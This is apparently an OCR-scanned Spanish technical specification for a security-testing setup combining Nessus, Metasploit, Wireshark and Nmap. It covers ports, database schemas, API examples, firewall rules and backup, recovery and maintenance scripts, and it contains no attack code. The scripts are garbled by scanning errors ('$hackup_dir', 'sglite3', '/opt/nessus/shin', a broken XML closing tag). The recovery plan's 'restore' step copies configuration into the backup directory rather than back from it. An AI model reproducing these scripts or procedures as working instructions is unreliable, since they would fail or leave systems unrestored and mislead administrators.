Version: Nessus Professional 10+

Base de datos: SQL.ite

Puertos: 8834 (HTTPS)

API: REST v2.0

Estructura de Plugins

Plugins

— Configuracion (.nasl)

— Credenciales (.inc)

—— Politicas (.policy)

Moddulo de Penetracion (Metasploit)
Arquitectura

Framework

— Rex (Core)

— MSF::Core

— MSF::Base

— Interfaces

Base de datos

sql

-- Estructura PostgreSQL

CREATE DATABASE msf;

CREATE USER msf_user WITH PASSWORD 'password’;
GRANT ALL PRIVILEGES ON DATABASE msf TO msf_user;
Maédulo de Analisis de Trafico (Wireshark)
Especificaciones Técnicas

yaml

Version: 4.0+

Librerias: libpcap/WinPcap

Formatos: pcap, pcapng

Filtros: BPF, display filters




3. Protocolos y Comunicacion

3.1.

3.2.

Protocolos de Red
yaml
Protocolos Soportados:
- TCP/IP (v4/v6)
- UDP
- ICMP
- ARP
- DNS
- HTTP/HTTPS
- SMB
- SSH
Puertos y Servicios
yaml
Puertos Default:
-22: SSH
- 80/443: HTTP/HTTPS
- 445: SMB
- 3306: MySQL
- 8834: Nessus

4. Seguridad y Autenticacion

4.1.

4.2.

Mecanismos de Seguridad
yaml
Encriptacion:
-TLS 1.3
- AES-256-GCM
- RSA 4096
Autenticacion:
- OAuth 2.0
- Certificados X.509
- HMAC
Politicas de Seguridad
bash
# Configuracion de Firewall
iptables -A INPUT -p tcp --dport 8834 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT



5. APIse Interfaces
5.1. API de Nessus
json
{
"endpoint": "/scans",
"method": "POST",
"headers™: {
"X-ApiKeys": "accessKey=xxx;secretKey=xxx",
"Content-Type": "application/json™
¥

}
5.2. APl de Metasploit

ruby
require 'msfrpc-client’
client = Msf::RPC::Client.new(
host: '127.0.0.1",
port: 55553,
user: 'msf’,
pass: 'password'’
)
6. Gestion de Datos
6.1.  Estructura de Datos
sql
-- Esquema de base de datos
CREATE TABLE scans (
id SERIAL PRIMARY KEY,
target_ip VARCHAR (15),
scan_type VARCHAR (50),
start_time TIMESTAMP,
end_time TIMESTAMP,
status VARCHAR (20)

);

CREATE TABLE vulnerabilities (

id SERIAL PRIMARY KEY,

scan_id INTEGER REFERENCES scans(id),

severity INTEGER,

description TEXT,

solution TEXT

);

6.2. Formato de Informes
xml



<?xml version="1.0" encoding="UTF-8"?>
<report>
<scan_info>
<target>192.168.1.0/24</target>
<timestamp>2024-03-16T10:00:00Z</timestamp>
</scan_info>
<findings>
<vulnerability>
<severity>High</severity>
<description>SQL Injection</description>
<affected_host>192.168.1.100</affected_host>
</vulnerability>
</findings>
<[report>

7. Rendimiento y Optimizacién

7.1.

7.2.

Configuraciones de Rendimiento

yaml

Nmap:
max_parallelism: 100
timing_template: T4
host_timeout: 30m

Nessus:
max_hosts: 10
max_checks: 5
timeout: 3600

Metasploit:
thread_count: 10
connect_timeout: 30
read_timeout: 30
Monitoreo del Sistema
bash
# Meétricas de rendimiento
CPU_THRESHOLD=80
MEM_THRESHOLD=90
DISK_THRESHOLD=85



8. Recuperacion y Respaldo

8.1.

8.2.

Procedimientos de Backup

bash

#1/bin/bash

# Backup de configuraciones y datos
backup_dir="/backup/$(date +%Y %m%d)"
mkdir -p $backup_dir

# Backup de bases de datos
pg_dump msf > $hackup_dir/msf.sql
sglite3 nessus.db .dump > $backup_dir/nessus.sql

# Backup de configuraciones
cp -r /etc/nessus $backup_dir/
cp -r ~/.msf4 $backup_dir/
Plan de Recuperacion
yaml
Procedimientos:
1. Restauracién de BD
- psql msf < backup/msf.sql
2. Restauracion de configs:
- ¢cp—r ~/.msf4 $backup_dir/
3. Reinicio de servicios
- systemctl restart nessusd
- systemctl restart postgresql

9. Mantenimiento

9.1

9.2.

Actualizaciones

bash

# Actualizacion de componentes

apt update

apt upgrade nmap wireshark metasploit-framework
/opt/nessus/shin/nessuscli update

Limpieza

sql

-- Limpieza de datos antiguos

DELETE FROM scans WHERE start_time < NOW() - INTERVAL '90
days’;

DELETE FROM vulnerabilities WHERE scan_id NOT IN (SELECT id
FROM scans);



